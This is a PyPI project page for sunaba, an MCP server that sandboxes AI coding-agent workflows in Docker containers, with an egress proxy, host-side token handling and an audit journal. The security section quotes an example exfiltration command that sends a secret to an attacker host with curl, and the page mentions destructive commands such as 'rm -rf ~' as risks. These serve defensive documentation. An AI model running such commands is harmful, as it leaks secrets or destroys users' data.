MCP server for Docker sandbox execution with pass-through-env support
Project description
sunaba
Most AI coding tools optimize for humans. sunaba optimizes for frontier LLMs.
Less context. Less trust. More structure.
An MCP server that runs an AI's test → verify → publish workflow inside disposable Docker containers. It assumes the model is already capable, so it spends its effort elsewhere: stripping away the context bloat, the broad host trust, and the raw-log noise that frontier models don't need — and shouldn't have.
What's different
Most sandboxing tools are built around a human watching a terminal. This one is built around a model reasoning over a small, structured context window:
- The LLM is assumed competent. No sprawling toolset to hand-hold it — a small set of first-class verbs (search, edit, verify, publish) plus an image full of CLIs it already knows.
- The context is never polluted. The payload — issue bodies, source files, diffs — stays inside the container. The model carries only
run_ids, handles, and structured summaries. - Output is structured, not raw. A green run is one line; a failure is
{test, error, file, line}. No 5000-line logs scrolling through the context window. - Trust is structural, not policy. The host is cut off by construction, so you grant the AI less standing access — not more careful prompts.
The result is an MCP whose value is as much about what it withholds from the model — context, trust, noise — as what it gives it.
Why sandbox?
AI coding agents that operate directly on the host filesystem carry maximum risk: a single rm -rf ~ or git push --force can destroy your working environment, SSH keys, and git configuration. Recovery is painful and sometimes impossible.
This MCP routes all AI operations through disposable Docker containers with structural safety guarantees:
| Guarantee | Mechanism |
|---|---|
| AI operations never touch the host | All file ops, package installs, and test runs happen inside the container. If the AI breaks something — delete the container and move on. |
| No network by default | allow_network=True must be explicitly set. AI can't accidentally call external APIs, download payloads, or push to remotes. |
| Non-root execution | Container runs as unprivileged user sandbox. No sudo, no system package modification. |
| VCS tokens stay host-side | The container never receives a GITHUB_TOKEN. Reads authenticate through the egress proxy's read-authorization grant; publish / sandbox_issue_write resolve the token host-side. Token values are masked in all output (KEY=***). |
| Audit trail | Every operation is recorded in an append-only journal. You can trace exactly what the AI did, after the fact. |
The value of this MCP is as much about what the AI cannot do as what it can.
Reducing host permissions
A less obvious but equally important benefit: this MCP lets you turn off broad host permissions in your AI client.
Without a sandbox MCP, AI agents operate directly on the host via shell tools (Bash, PowerShell, etc.). Every file edit, git command, or config change triggers a permission prompt — and permission fatigue sets in fast. Users end up allowing everything just to keep work flowing, which means the AI effectively has unrestricted access to the host.
With this MCP, all real work happens inside the container. Host-level shell tools become unnecessary for the vast majority of tasks, so you can keep those permissions off by default. The result: the AI is structurally constrained, not just policy-constrained.
Design philosophy
This is not "an MCP that drives Docker." It is a foundation for an AI to run test → verify → publish workflows safely, with minimal context. Adding features is never the goal; the goal is to spend fewer tokens, preserve reasoning accuracy, and keep the human in final control. Four principles drive every decision.
1. Security and convenience are not a tradeoff — the sandbox dissolves it
Normally, security and convenience pull against each other: widen permissions and you gain convenience, narrow them and you lose it. This MCP places a disposable container as a middle layer so you don't have to choose:
- To the AI, it feels like working locally — same operations, same speed.
- To the host, the AI is structurally cut off — you can turn host shell permissions off entirely.
The corollary is a strict stance: "if it can't be done inside the sandbox, that's a bug in the tooling." Reaching for direct local work to dodge a limitation just hides a design failure. Every feature is judged against this goal.
2. AI-first: return structure and diffs, not raw logs
The most expensive thing an AI coding loop does is re-read output. So the contract is don't show everything — return structure, not raw data, and reveal detail progressively.
- Structured results, not 5000-line logs. A passing test run is a one-liner:
{status: ok, passed: 120, duration: 4.2s}. A failure is{test, error, file, line}— the exact assertion and location, no scrollback. - State lives on the server; the LLM holds a handle. Every result is keyed by a
run_id. "Show me the rest of the log" or "re-run only what failed" cost a handle, not a giant re-submission. Large artifacts (coverage, generated files) come back as sized resource handles, never inlined. - Diffs, not full text. Edits return a unified diff of what changed (
transform_file), verification returns agit diff --statsummary, and duplicate failures fold into×N. - Denoise before returning. ANSI color, timestamps, progress bars, and library/framework stack frames are stripped so only the user's code remains.
The escape hatch is always present: defaults are diffs and summaries, but the full output is always retrievable by handle via
offset/limit.
3. The line to defend is the sandbox boundary — not "dangerous" commands
Most sandboxing tools try to classify each command as safe or dangerous. That depends on self-reporting and can't be structurally enforced. This MCP draws the line elsewhere: the question is not "is this command dangerous?" but "does this operation leave the sandbox?"
- Inside the container, nothing is gated. It's disposable — whatever happens in there just gets deleted with the container.
- Boundary-crossing operations are gated structurally. Network access, host mounts, persistent-volume deletion, and external VCS writes (
git push, PR creation) go through dedicated tools; egress to GitHub is confined by an egress proxy (allowlisted repos, short-lived authorized push/read grants), so an unauthorized network write is structurally impossible — not merely discouraged. The human gate is your MCP client's own tool-approval prompt, not a bespoke in-band token. - What can't be perfectly gated is caught after the fact. An append-only journal records every operation, so the real safety net is post-hoc auditability, not pre-execution approval. The human's control shifts from "watch and approve everything" to "audit anything, anytime."
This is the three-lock model: network off by default · non-root enforced · VCS token opt-in. Half the value of this MCP is the guarantee of what the AI cannot do.
4. The payload never passes through the LLM
In the issue → fix → verify → publish flow, the issue body, the source files, and the diff all stay inside the container. The LLM only ever carries run_ids, handles, and structured summaries — never the raw payload. This keeps context small and keeps sensitive content (tokens, large diffs) out of the model's window. Tokens injected for VCS access are opt-in per container and automatically masked (KEY=***) in all output.
For the full rationale and the decision principles behind each tool, see docs/design.md.
Core ideas at a glance
Your AI client
│
(host shell tools OFF)
│
┌──────────────────────────────┐
│ sunaba │
│ structured, minimal-context │
│ control plane │
│ ──────────────────────────── │
│ • container lifecycle │
│ • structured outputs │
│ • egress proxy gate │
│ • append-only journal │
└──────────────────────────────┘
│
Disposable container
│
payload stays in here:
source · diffs · tests · git
The model drives the control plane with small, structured messages. The heavy data — repos, diffs, logs — lives and dies inside the container. The only thing that ever crosses the boundary on purpose is a publish.
Typical workflow
You don't need the 30-tool reference to understand what this is for. A normal session is one pipeline:
clone_repo # pull the repo into a fresh container
↓
write_file_sandbox # edit in place (or transform_file for bulk/computed edits)
↓
verify_in_container # lint + type-check gate, then tests → structured result
↓
checkpoint # cheap in-container save point (no token, no gate)
↓
publish # the one boundary-crossing exit: push + optional PR
The issue body, the source, and the diff never leave the container; the model only ever sees run_ids and structured summaries. Everything else — backgrounding, search, caching, observability — exists to make this loop cheaper to run and easier to audit. The full per-tool reference is further down.
Quick start
pip install git+https://github.com/masuda-masuo/sunaba@v0.8.0
Minimal claude_desktop_config.json:
{
"mcpServers": {
"sunaba": {
"command": "python",
"args": [
"-m", "sunaba.server"
]
}
}
}
Use
which python(Linux/macOS) or(Get-Command python).Source(Windows) to find the Python executable path if"python"alone doesn't work.
Prerequisites & first-run pitfalls
A few things that aren't obvious from the Quick start above and commonly trip up first-time users:
- The Docker daemon must already be running.
docker infoshould succeed before you start. On Linux, your user typically needs to be in thedockergroup; on macOS/Windows, Docker Desktop needs to be up. - The first
sandbox_initializecall can take several minutes while it pulls the pinned image from GHCR. This collides with stdio's ~60 second client timeout (see Transport below): the most common first-run failure is the very firstsandbox_initializetiming out, not a bug. If you'll be using this MCP regularly, set up SSE or HTTP transport before your first call; otherwise just retry once the image is cached locally. - Network is off by default. Anything that touches the network inside the container —
clone_repo,package_install,pip install, etc. — needs an explicit:
Forgetting this doesn't error immediately; the network-dependent step just fails inside the container (connection/DNS errors, or asandbox_initialize(allow_network=True)BLOCKED by egress proxymessage — see below).
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
Cannot connect to the Docker daemon |
Docker isn't running or unreachable | Start Docker Desktop / dockerd, confirm with docker info |
permission denied on /var/run/docker.sock |
User isn't in the docker group (Linux) |
sudo usermod -aG docker $USER, then log out/in |
| Image pull fails or hangs | Registry unreachable, or disk space exhausted | Check network access to GHCR; docker system df / docker system prune |
sandbox_initialize times out on first use |
Initial GHCR image pull exceeds stdio's ~60s client timeout | Retry once cached, or switch to SSE/HTTP |
BLOCKED by egress proxy: ... |
Destination host not allowlisted, or allow_network=True was omitted |
Re-check sandbox_initialize(allow_network=True); for pushes, confirm the target repo is listed in SUNABA_ALLOWED_REPOS (see Security model) |
Installation
# Install (pinned to a released version, recommended)
pip install git+https://github.com/masuda-masuo/sunaba@v0.8.0
# Update to the latest commit on the default branch
pip install --force-reinstall git+https://github.com/masuda-masuo/sunaba
# Pin to a specific commit
pip install git+https://github.com/masuda-masuo/sunaba@<commit-hash>
# Uninstall
pip uninstall sunaba
Requirements: Python 3.10+, Docker.
Configuration
Transport: stdio vs SSE/HTTP
stdio has a ~60 second client timeout. Long operations (docker pull, pip install, large copy_project) should use SSE or HTTP transport:
"args": [
"-m", "sunaba.server",
"--transport", "sse",
"--host", "127.0.0.1",
"--port", "8750"
]
| Transport | Timeout | Notes |
|---|---|---|
stdio (default) |
~60s | Works with all clients |
sse |
None | Recommended for long operations |
http |
None | Standard HTTP |
streamable-http |
None | MCP spec Streamable HTTP |
For SSE/HTTP transports, the server binds to 127.0.0.1:8750 by default.
Observability dashboard
Starts a local read-only web dashboard showing active containers, run history, and pass/fail stats on port 8751 by default.
| Flag | Default | Description |
|---|---|---|
--dashboard-port |
8751 |
Dashboard port. Set to 0 to disable. |
--dashboard-host |
127.0.0.1 |
Bind address. |
WSL tip: If your MCP server binds to
--port 8750, use--dashboard-port 8751to avoid conflict. The dashboard is reachable from Windows athttp://localhost:8751via WSL's localhost forwarding.
Optional: push notifications
"--webhook-url", "https://hooks.example.com/notify",
"--failure-threshold", "5",
"--long-run-seconds", "300"
Sends OS desktop notifications (Linux) or webhook notifications on boundary-crossing operations, failure threshold exceeded, or long-running executions.
Available tools
This is the full reference. You almost never touch most of it directly — the common path is the five-step Typical workflow above. The rest exists to make that loop cheaper (caching, diffs, backgrounding) and auditable (journal, trace, dashboard).
Lifecycle
| Tool | Description |
|---|---|
sandbox_initialize |
Start a container. Returns 12-char container_id. Supports image, allow_network. |
sandbox_stop |
Stop and remove a container. |
run_container_and_exec |
One-shot: initialize → exec → stop. |
sandbox_list_containers |
List all managed containers with metadata (name, image, status, age, idle time). |
sandbox_attach |
Connect to an existing container by name or ID prefix. |
Execution
| Tool | Description |
|---|---|
sandbox_exec |
Run commands synchronously. Supports verbose (error_only/summary/full), truncation, pagination (offset/limit). |
sandbox_exec_background |
Run commands with nohup in background. Returns job_id. |
sandbox_exec_check |
Poll background job status. Returns "running", stdout on success, or error on failure. |
package_install |
Structured pip install wrapper (packages/editable/constraints/requirements/upgrade/extras). Returns installed packages and error details instead of raw pip logs. |
File operations
| Tool | Description |
|---|---|
write_file_sandbox |
Primary edit path for AI. Write/update files. Supports full overwrite, line-range replacement, append, and old_str replacement (uniqueness check + whitespace-flexible fallback). |
transform_file |
Imperative edit path. Edit a file by supplying Python transform(text) -> str that computes the new content (runs inside the container; returns a unified diff). Best for bulk / repetitive / structural / computed edits. |
read_file_range |
Read limit lines starting at offset. Returns JSON with pagination metadata. |
list_files |
List files inside the container using find. Returns JSON array of file paths. |
copy_project |
Copy a local directory into the container (tar archive streaming). |
copy_file |
Copy a single local file into the container. |
Edit/Verify subsystem
| Tool | Description |
|---|---|
search_in_container |
Search for text patterns across files. Lexical (ripgrep) or structural (ast-grep) mode. Supports glob/ignore_case/context/output_mode/offset params. Returns metadata (shown, total, truncated, next_offset). |
lint_in_container |
Run linter on a file (.py → ruff/pylint, .js/.ts/.jsx/.tsx → eslint). Pass fix=True to apply ruff check --fix / eslint --fix autofixes and return the remaining findings. |
type_check_in_container |
Run type checker on a file (.py → pyright, .ts/.tsx → tsc). |
verify_in_container |
Pre-publish test gate. Run tests (pytest/jest/go test via language-aware dispatch), then auto-full-suite. Returns diff summary. |
diff_in_container |
Structured git diff between base and HEAD. File-by-file summary (path/status/additions/deletions) or per-file hunks when a path is given. |
Observability
These journal/trace read tools are opt-in: set SUNABA_OBSERVABILITY_TOOLS=1 in the server environment to register them. Telemetry recording itself is always on; for aggregation, reading ~/.sunaba/journal.log directly on the host works without any of these tools.
| Tool | Description |
|---|---|
sandbox_read_journal |
Read the append-only execution journal. Filter by run_id, limit by max_entries. |
sandbox_trace |
Generate HTML or JSON replay trace for a specific run_id. |
sandbox_list_runs |
List all runs recorded in the journal. |
sandbox_journal_path |
Return path to ~/.sunaba/journal.log. |
sandbox_trace_dir |
Return path to ~/.sunaba/traces/. |
VCS / Versioning
| Tool | Description |
|---|---|
clone_repo |
Clone a Git repository inside the container using gh repo clone. |
issue_view |
Read a GitHub issue and save its body to a file inside the container. |
checkpoint |
Local Git checkpoint (commit only, no push). Use frequently during edit loops. |
checkpoint_list |
List unpushed local checkpoints. |
checkpoint_restore |
Restore working tree to a previous checkpoint (git reset --hard). |
publish |
Stage, commit, push, and optionally create a PR (one-shot). |
sandbox_issue_write |
Create a GitHub issue or comment on one, host-side (one-shot, #414). |
sandbox_pr_review_write |
Create and submit a PR review (with optional inline comments) in one shot, host-side (#477). |
Compatibility policy
The external contract is versioned with Semantic Versioning. The project is currently in 0.x, which under semver means the contract is not yet frozen: a breaking change is a minor bump, not a major one.
- Covered by semver: MCP tool names, tool argument names/types, return-value shapes, and environment variable names.
- Breaking changes (renaming/removing a tool or argument, changing a return shape, renaming an environment variable, reversing a default) land only in a minor bump while in
0.x— never a patch — and are recorded in CHANGELOG.md. - Additive changes (new tools, new optional arguments, new fields appended to a return object) are patch bumps while in
0.x. - Not covered: the sandbox image contents (see below), internal module layout, and anything not exposed as an MCP tool surface.
1.0.0 will freeze the contract so that breaking changes require a major bump. It is promoted only once the operational side is stable enough to hold that promise — the criteria are recorded in docs/design.md §15.
Pin to a released tag for stability (see Installation); track main only if you want unreleased changes and accept that the contract above does not apply until the next tag.
Sandbox image
The default image is a purpose-built sandbox image pushed to GHCR. It bundles all tools needed for AI-driven workflows:
| Category | Tool | Purpose |
|---|---|---|
| Text search | ripgrep (rg) |
Fast regex search |
| Structural search | ast-grep (sg) |
AST-based code search |
| Text replace | sd |
Find-and-replace |
| File search | fd |
Fast find alternative |
| Symbols | universal-ctags |
Code indexing |
| Lint | ruff |
Python linting |
| Type check | pyright |
Python type checking |
| VCS | git, gh |
Version control, GitHub CLI |
| Package install | uv |
Fast pip alternative |
| JSON | jq |
JSON processing |
The images are built from the split docker/Dockerfile.{base,python,go} and automatically published to GHCR via CI. When sandbox_initialize is called without an explicit image, the project's language is detected (from a Shiori pre-clone or the GitHub repo root) and the matching variant is chosen:
| Detected | Image |
|---|---|
Python (pyproject.toml, setup.py, requirements*.txt, ...) |
sandbox:python (base + python + js) |
Go (go.mod) |
sandbox:go (base + go + js) |
| JS only / unknown / unsupported / py+go polyglot | sandbox:base (neutral: node + VCS + search, no language toolchain) |
No language is hardcoded as the default. Unknown or unsupported projects fall back to the neutral sandbox:base (init never blocks); a notice in the result explains the fallback. To override detection, pass an image explicitly:
sandbox_initialize(image="my-image@sha256:...")
A minimal variant (docker/Dockerfile.sandbox.minimal) with git + python + pytest only is also available for lightweight use.
Image/server compatibility: sandbox images are versioned independently of the sunaba package — image_pins.json pins each variant to a GHCR digest (updated via scripts/update_image_pins.py) and is not part of the compatibility policy above. Any server release is expected to work with its bundled image_pins.json; if you override image explicitly, keep the in-container toolset (§ table above) compatible with what the server's edit/verify tools expect (e.g. ruff/pyright for lint/type gates).
Deployment & credential management
For production use, keep GitHub credentials in the OS keystore instead of plaintext config files and let the server mint short-lived tokens on demand. The security model below is the same on every platform — only the keystore backend, the unlock UX, and how the server process is launched differ.
This section covers host-side credential resolution (how the server authenticates to GitHub). It is complementary to the security model below, which covers why the container never receives a token, regardless of platform.
The shared security model: short-lived GitHub App tokens
The recommended model uses mcp-launcher's mcp-token broker:
- Secrets live in the OS keystore, never in config files. The GitHub App's
APP_ID,PRIVATE_KEY, andINSTALLATION_IDare registered once withmcp-token register github <KEY> <value>. - Tokens are minted on demand and short-lived.
mcp-token githubmints a fresh installation token (cached ~55 min; GitHub expiry 1 h). No long-lived token sits in a config file or environment. - The private key is out of reach. A prompt-injection attack can only touch what the model sees — MCP tool responses — never the keystore. Worst case, a leaked token expires within an hour; the key that mints tokens is never exposed.
- The host resolves the token; the container never holds it. The resolved token is used host-side by the egress proxy's read/push grants and by
publish/sandbox_issue_write(see security model).
The host resolves the token from one of three orthogonal sources (token_broker.py, design.md §11.2):
| Source | Host env var | How it works | Role |
|---|---|---|---|
| Static token | GITHUB_TOKEN |
Used verbatim | Minimal setup |
| Explicit command | GITHUB_TOKEN_COMMAND |
Runs the command (e.g. an mcp-token binary path); stdout becomes the token. Takes priority. |
Manual management |
| Vendored broker | GITHUB_TOKEN_BROKER_SERVICE |
Resolves/downloads the pinned mcp-token binary (SHA-256 verified, cached) and runs mcp-token <service> |
Auto-managed (recommended) |
Bootstrap note: the broker binary lives in a private repo, so the very first download needs a token available (e.g. during setup, or a session still launched via mcp-launcher). After that the checksum-verified binary is cached and every later run reuses it. For a fully tokenless daemon, pre-provision the binary and point
GITHUB_TOKEN_BROKER_BINat it.
Per-platform deployment
Windows — mcp-launcher (stdio)
Run sunaba behind mcp-launcher as a child process; the launcher proxies stdio and resolves the token internally, so no GITHUB_TOKEN_* env var is needed.
AI Tool (Claude Desktop / etc.)
└─ mcp-launcher ← Windows Credential Manager, transparent MCP session restart
└─ sunaba ← actual MCP server (child process)
- Keystore: Windows Credential Manager (DPAPI).
- Unlock: automatic at Windows login — no extra step.
- mcp-launcher eliminates PATs from
claude_desktop_config.json, rotates the GitHub App installation token, and restarts the MCP session without losing state.
WSL2 — systemd + streamable-HTTP
Useful for sharing one server across clients (e.g. opencode + Claude Desktop), dropping the Windows-only mcp-launcher dependency, and avoiding stdio's ~60 s timeout.
Claude Desktop ─ mcp-remote ┐
├─ sunaba (WSL2, streamable-http @ 127.0.0.1:8750/mcp)
opencode ───────────────────┘
Run the server as a systemd user service. The setup is split into three phases, each
with a dedicated script in scripts/:
Phase 1 — Install (one-time, no auth needed)
The package is public on GitHub, so a plain HTTPS clone works without credentials:
python -m venv /path/to/venv/sunaba
/path/to/venv/sunaba/bin/pip install \
git+https://github.com/masuda-masuo/sunaba@v0.8.0
Phase 2 — Setup (one-time, interactive)
Register your GitHub App credentials in the OS keystore. The mcp-token binary
(masuda-masuo/mcp-launcher, public repo) is downloaded automatically from the
pinned release — no token bootstrap cycle:
./scripts/setup.sh
The script resolves mcp-token (PATH → local cache → anonymous download),
prompts for the three GitHub App values (App ID, Installation ID, Private Key
file path), and stores them in the OS keystore via mcp-token register.
Secrets live in the keystore, never in config files or env vars.
Phase 3 — Enable (one-time)
Place the systemd user unit and start the service:
./scripts/install-systemd.sh /path/to/venv/sunaba
The script substitutes @VENV_DIR@ and @PROJECT_DIR@ template variables,
places sunaba.service in ~/.config/systemd/user/, runs
systemctl --user daemon-reload, and systemctl --user enable --now.
The unit file uses GITHUB_TOKEN_BROKER_SERVICE=sunaba so the
server calls mcp-token sunaba at runtime, which reads the
keystore-registered credentials and mints a short-lived token — no human
intervention needed after boot or restart.
# scripts/sunaba.service (template excerpt)
[Service]
ExecStart=@VENV_DIR@/bin/python -m sunaba.server \
--transport streamable-http --host 127.0.0.1 --port 8750
Environment=GITHUB_TOKEN_BROKER_SERVICE=sunaba
Environment=DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/%U/bus
Clients connect via mcp-remote:
{ "mcpServers": { "sunaba": {
"command": "npx",
"args": ["-y", "mcp-remote", "http://127.0.0.1:8750/mcp"]
}}}
- Keystore: GNOME Keyring (libsecret).
- Unlock: one password prompt on first access after WSL boots; stays unlocked for the session. (An empty-password keyring auto-unlocks but is then readable by any host process — a security trade-off.)
- Gotchas:
Environment=values containing spaces (e.g. aGITHUB_TOKEN_COMMANDwith a service argument) must be quoted, or the argument is truncated.- Without
DBUS_SESSION_BUS_ADDRESS, the service can't reach the keyring. mcp-token listmay fail under WSL (Go's godbus can't reach the D-Bus secret service); usesecret-tool search --all service mcp-launcherinstead.
Linux (native) — systemd + HTTP
Same as WSL2, but on a desktop-session Linux the keyring unlocks automatically with the session — no first-access password prompt.
- Keystore: libsecret / gnome-keyring / kwallet (needs
libsecret-1-0+gnome-keyring). - Token resolution: same broker as WSL2 (
GITHUB_TOKEN_BROKER_SERVICE→mcp-token). - Transport:
httporsse; connect directly or viamcp-remote.
Platform differences at a glance
| Windows | WSL2 | Linux (native) | |
|---|---|---|---|
| Server launch | mcp-launcher (stdio proxy, child process) | systemd user service | systemd user service |
| Transport | stdio / SSE / HTTP | streamable-HTTP (Claude Desktop via mcp-remote) | HTTP / SSE |
| Keystore | Windows Credential Manager (DPAPI) | GNOME Keyring (libsecret) | libsecret / gnome-keyring / kwallet |
| Token resolution | managed by launcher | GITHUB_TOKEN_BROKER_SERVICE → mcp-token |
GITHUB_TOKEN_BROKER_SERVICE → mcp-token |
| Keyring unlock | automatic at Windows login | one prompt per WSL boot | automatic with desktop session |
| Main gotcha | Smart App Control may block the binary | quoting · DBUS_SESSION_BUS_ADDRESS · secret-tool fallback |
keyring daemon must be running |
Security model
The sandbox offers two independent guarantees. They are easy to conflate, so keep them distinct: one is always on and does not involve the egress proxy at all; the other is what the (opt-in) egress proxy adds.
1. Token containment — always on, proxy-independent
The sandbox container never receives a VCS token. There is no opt-in flag: credentials stay host-side. This is enforced by how the write tools work, not by the network layer — so it holds whether or not the egress proxy is enabled.
- Reads (
clone_repo,sandbox_initialize(clone_repo=...),pr=N): a public clone needs no credential; a private one has a host-resolved token handed to the proxy for a short read-authorization grant (this path does require the proxy). Either way no token enters the container. - Pushes / PRs go through
publish: it resolves a token host-side and hands it to the proxy for a short authorized push grant (push), or calls the GitHub API directly from the host (PR creation). - Issue / comment writes go through
sandbox_issue_write, which calls the GitHub REST API host-side. - All output is automatically sanitized: any token value is masked as
KEY=***in stdout/stderr.
This follows the principle of least privilege — the container's own git/gh stay unauthenticated, so a stray in-container git push has no credential to leak.
2. Egress containment — the egress proxy (default-on)
The egress proxy is enabled by default. Set SUNABA_ENABLE_EGRESS_PROXY=false to opt out. When enabled, the container's only route to the outside is the HTTP(S) proxy on an internal Docker network — SSH, arbitrary TCP, and direct-to-IP egress are cut off by that topology alone. On top of that the proxy is a default-deny egress gate: a request to a host outside the allowlist is refused with a 403, so arbitrary exfil (e.g. curl https://attacker.com/?d=secret) is blocked, not just git pushes. Two allowlists, deliberately separate, govern the two different questions:
- Where the sandbox may connect —
SUNABA_ALLOWED_EGRESS_HOSTS(destination hosts). Defaults to GitHub and the package registries (see below); everything else is denied. - Where the sandbox may write —
SUNABA_ALLOWED_REPOS(push / GitHub-API-write targets). Reachability says nothing about write authorization; a repo can be cloneable but not pushable.
Use allow_network=True only when containers actually need network access. For the read/push grants to authenticate, the proxy must be configured with a host-resolvable token (broker / GITHUB_TOKEN).
What each configuration guarantees
| Guarantee | proxy off (default) | proxy on |
|---|---|---|
| No token ever enters the container | ✅ (proxy-independent) | ✅ |
| Push restricted to an allowlist (network layer) | ❌ | ✅ (SUNABA_ALLOWED_REPOS) |
| Non-HTTP egress cut off (SSH / raw TCP / direct IP) | ❌ (allow_network=True is unrestricted) |
✅ (internal network, proxy is the only exit) |
| Arbitrary-host egress denied (exfil containment) | ❌ | ✅ (SUNABA_ALLOWED_EGRESS_HOSTS, default-deny) |
Private-repo read (clone / pr=N) |
❌ (anonymous clone only) | ✅ (read grant) |
| Fail-closed (network start refused if the proxy fails to start) | — | ✅ |
Who should turn it on? If the sandbox runs code you do not fully trust (AI-generated, third-party dependencies, anything that could be prompt-injected) and you care about it not phoning home, enable the proxy. If you only run your own code against your own repos and treat the sandbox as a convenience rather than a boundary, the default (off) is fine — token containment still holds either way.
What it does not guarantee. Egress containment stops connections to off-allowlist hosts; it does not stop a determined exfil over an allowlisted channel (e.g. writing secrets into an issue on an allowed repo, or DNS/SNI side channels). It is a structural barrier against casual/arbitrary egress, not a complete information-flow boundary.
Configuring the egress proxy
Push targets — SUNABA_ALLOWED_REPOS is the allowlist of repositories the sandbox may push to:
# Allow pushes to specific repositories
SUNABA_ALLOWED_REPOS="owner/repo-a,owner/repo-b"
If SUNABA_ALLOWED_REPOS is unset or does not include the target repository, publish will fail with a clear error message. The push is not silently redirected through the Objects API fallback — this is intentional: bypassing the proxy would hide a configuration error and let administration proceed with a misconfigured setup (see #401).
Destination hosts — SUNABA_ALLOWED_EGRESS_HOSTS extends the built-in set of hosts the sandbox may reach at all:
# Allow the sandbox to also reach an internal mirror and any *.example.com host
SUNABA_ALLOWED_EGRESS_HOSTS="mirror.internal, .example.com"
- The built-in defaults —
github.com,api.github.com,codeload.github.com,*.githubusercontent.com,pypi.org,files.pythonhosted.org,registry.npmjs.org— are always allowed sogit,pip, andnpmwork out of the box; operator entries only add to them. - An entry beginning with
.matches that domain and its subdomains (.example.com→ bothexample.comanda.example.com). - The single value
*disables destination-host containment entirely (any host passes), restoring the pre-containment passthrough behaviour for operators who need it.
Observability
The server maintains an append-only execution journal at ~/.sunaba/journal.log. Every container lifecycle event (initialize, exec, stop) and boundary-crossing operation is recorded with timestamps and run IDs.
When the journal exceeds 100 MB it is automatically rotated to journal.log.1; the on-disk footprint stays bounded to approximately twice that size (one active + one backup). Journal readers transparently merge both files in chronological order. Trace files under ~/.sunaba/traces/ are kept to at most 100 files, with oldest ones evicted first.
| Component | Description |
|---|---|
| Journal | Append-only log of all operations. tail -f for real-time monitoring. Auto-rotates at 100 MB to journal.log.1. |
| Trace | HTML or JSON replay for any run_id. Post-hoc review of "why did it do that?" Keeps at most 100 files. |
| Dashboard | Local web UI at http://127.0.0.1:<dashboard-port>. Read-only, auto-refreshing. |
| Notifications | OS desktop notifications or webhook callbacks for boundary-crossing events and failures. |
Workflow example
# One-shot: initialize, run commands, auto-stop
run_container_and_exec(
image="python@sha256:...",
commands=[
"git clone https://github.com/user/repo.git /app",
"cd /app && pip install .[test] -q",
"cd /app && pytest tests/ -v"
],
allow_network=True
)
# Or step-by-step for longer sessions
sandbox_initialize(image="python@sha256:...", allow_network=True)
→ container_id
sandbox_exec_background(container_id, [
"apt-get update -qq && apt-get install -y -qq git",
"git clone https://github.com/user/repo.git /app",
"cd /app && pip install .[test] -q",
"cd /app && pytest tests/ -v"
])
→ job_id
sandbox_exec_check(container_id, job_id)
sandbox_stop(container_id)
Human-in-the-loop (HITL) — beyond terminal output
Existing AI coding tools (Claude Code, Open Code / Codex CLI, Copilot) display test results as transient terminal text. Once the output scrolls past, it's gone — there is no structured record of what happened, when, and why.
sunaba shifts the human from active watching to passive monitoring:
| Capability | Claude Code / Open Code | sunaba |
|---|---|---|
| Test output | Terminal text, ephemeral | Structured journal with per-operation timeline |
| Pass/fail visibility | Scroll through raw output | Color-coded badges (green/red) at a glance |
| "Why did it fail?" | Re-run to see | Click a run → HTML/JSON trace with full context |
| Cross-run comparison | Manual, by memory | Side-by-side in dashboard |
| Audit trail | None (session-scoped) | Append-only journal, survives restarts |
| Boundary crossing ops | Invisible | Explicitly tracked in the journal |
| Human attention model | Must watch terminal | Check dashboard anytime, catch up in seconds |
The dashboard (--dashboard-port 8751) runs on localhost, auto-refreshes every 10 seconds, and requires no external services. When a test fails, the trace shows exactly which assertion broke, on which line — no re-run needed.
This is the HITL layer that design.md §8-9 describes: the human's final control shifts from pre-execution approval to post-hoc audit, and the dashboard makes that audit practical rather than theoretical.
Development
Setting up a local development environment
git clone https://github.com/masuda-masuo/sunaba.git
cd sunaba
pip install -e .[test]
pip install -e . (editable install) ensures that your source tree under src/ is used at runtime and in tests. Do not use a plain pip install . alongside an editable install — having both a regular and an editable installation of the same package causes non-deterministic import resolution where Python may load the stale site-packages copy instead of your working tree.
If you previously installed the package without -e (e.g. via pip install git+https://...), remove it first:
pip uninstall sunaba # repeat until "not installed"
pip install -e .[test]
Verify that imports resolve to the source tree:
python -c "import inspect, sunaba.server; print(inspect.getfile(sunaba.server))"
# Expected: .../sunaba/src/sunaba/server.py
Known limitations
- Job state is in-memory: Background job results are lost on server restart.
- Job dictionary grows unbounded: Completed job results accumulate in memory. Not an issue for typical short-lived sessions.
- SSE transport requires client support: Not all MCP clients support SSE-based servers.
- Background jobs are lost on server restart: Use
run_container_and_execfor critical one-shot operations.
License
MIT
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file sunaba-0.8.0.tar.gz.
File metadata
- Download URL: sunaba-0.8.0.tar.gz
- Upload date:
- Size: 330.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e36ce2ed9b2c3f5cfcddd777710cd05fa62f98cd60520f6ce899cad791fc04d9
|
|
| MD5 |
29f4f838d926a7a985a00c2071290540
|
|
| BLAKE2b-256 |
68ee8632373d8febb2fc75c99fb745097b3ed2b526bdad911c868d1acaa8a133
|
Provenance
The following attestation bundles were made for sunaba-0.8.0.tar.gz:
Publisher:
publish-pypi.yml on masuda-masuo/sunaba
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
sunaba-0.8.0.tar.gz -
Subject digest:
e36ce2ed9b2c3f5cfcddd777710cd05fa62f98cd60520f6ce899cad791fc04d9 - Sigstore transparency entry: 2138159922
- Sigstore integration time:
-
Permalink:
masuda-masuo/sunaba@3b3d70350737ee706fc1b288af13963a09514574 -
Branch / Tag:
refs/heads/main - Owner: https://github.com/masuda-masuo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish-pypi.yml@3b3d70350737ee706fc1b288af13963a09514574 -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file sunaba-0.8.0-py3-none-any.whl.
File metadata
- Download URL: sunaba-0.8.0-py3-none-any.whl
- Upload date:
- Size: 202.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
